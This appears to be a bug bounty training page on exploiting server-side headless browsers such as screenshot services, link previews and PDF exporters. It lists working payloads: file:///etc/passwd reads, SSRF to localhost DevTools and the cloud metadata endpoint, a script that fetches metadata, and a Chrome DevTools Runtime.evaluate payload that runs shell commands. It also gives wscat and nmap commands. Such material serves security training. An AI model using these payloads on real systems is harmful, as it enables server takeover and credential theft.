Headless Browsers
Exploiting bots, crawlers and server-side screenshots
Quick answer
What is Headless Browsers?
Apps that use headless browsers (Chrome, Firefox) for screenshots, crawling or previews have a different security model from a normal browser: unpartitioned cache, accessible file://, exposed DevTools Protocol.
Severity
Critical
Frequency
Less common
Payloads
7
Steps
5
Severity
Critical
Frequency
Less common
Payloads
7
Server-side headless browsers don't have a normal browser's protections: they don't block popups, they don't partition the cache across origins, and they may have the Chrome DevTools Protocol (CDP) exposed on port 9222. If you can control the URL they visit, you have SSRF with full browser capabilities.
Where to look
Screenshot services
'Screenshot a URL' features. The bot visits the URL and generates an image.
Link preview
Automatic previews when you paste a link (Slack, Discord, etc.). The bot fetches the URL.
Web crawlers
Spiders that index content. If you control the URL, you control what they visit.
PDF exporters
Puppeteer/Chrome as a PDF engine (same context as HTML to PDF but with more capabilities).
Methodology
Identify the headless browser
Send a URL of yours and check the User-Agent of the incoming request. HeadlessChrome, PhantomJS, etc.
Try file://
Send file:///etc/passwd as the URL. If the screenshot shows it → full LFI.
Try SSRF
http://127.0.0.1:9222 (CDP), http://127.0.0.1:8080, http://169.254.169.254
Try JavaScript execution
Send a page with JS that fetches internal services and exfiltrates via <img src>.
Look for exposed CDP
If port 9222 is open, you can connect to the DevTools Protocol → RCE.
Real-world case
Headless Chrome screenshot → exposed CDP → RCE
Screenshot service
The app lets you capture screenshots of arbitrary URLs using Headless Chrome.
Port scan via timing
Send URLs to http://127.0.0.1:PORT. Open ports respond faster than closed ones.
CDP on port 9222
The Chrome DevTools Protocol is listening on localhost:9222 with no authentication.
RCE via CDP
Connecting to the CDP lets you run arbitrary JavaScript → Runtime.evaluate → child_process.exec.
Lesson: Headless browsers must run in isolated sandboxes. The CDP should never be exposed. If you control the URL the bot visits, you have SSRF with full browser capabilities.
Payloads
file:// LFI
file:///etc/passwd
SSRF localhost
http://127.0.0.1:9222/json (Chrome DevTools)
JavaScript exfil
<script>fetch("http://169.254.169.254/latest/meta-data/").then(r=>r.text()).then(d=>document.title=d)</script>Advanced payloads(account required)
CDP RCE
ws://127.0.0.1:9222/devtools/page/xxx → Runtime.evaluate({expression: 'require("child_process").execSync("id").toString()'})Firefox file URI bypass
security.fileuri.strict_origin_policy=false → cross-origin file read
Cache poisoning
Headless browsers no particionan cache → poison response para cross-origin read
XXE via XSLT (CVE-2023-4357)
Chrome ≤115: XSLT parser lee archivos via XML external entities
Exclusive content
Create your free account to access advanced payloads, scripts and bypass techniques
Create free accountTools
Chrome CDP client
Connect to the Chrome DevTools Protocol to run remote JS.
wscat -c ws://target:9222/devtools/page/ID
Nmap port scan
Check whether the CDP port is exposed.
nmap -p 9222 localhost
Tips
User-Agent reveals the engine
HeadlessChrome, PhantomJS, wkhtmltopdf — each one has different vulnerabilities.
file:// = full read
If the bot accepts file:// URLs, you can read any file on the server.
CDP = game over
The Chrome DevTools Protocol without auth lets you run arbitrary code on the server.
- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Practice Headless Browsers with real labs
Apply these techniques in safe environments based on real bug bounty reports.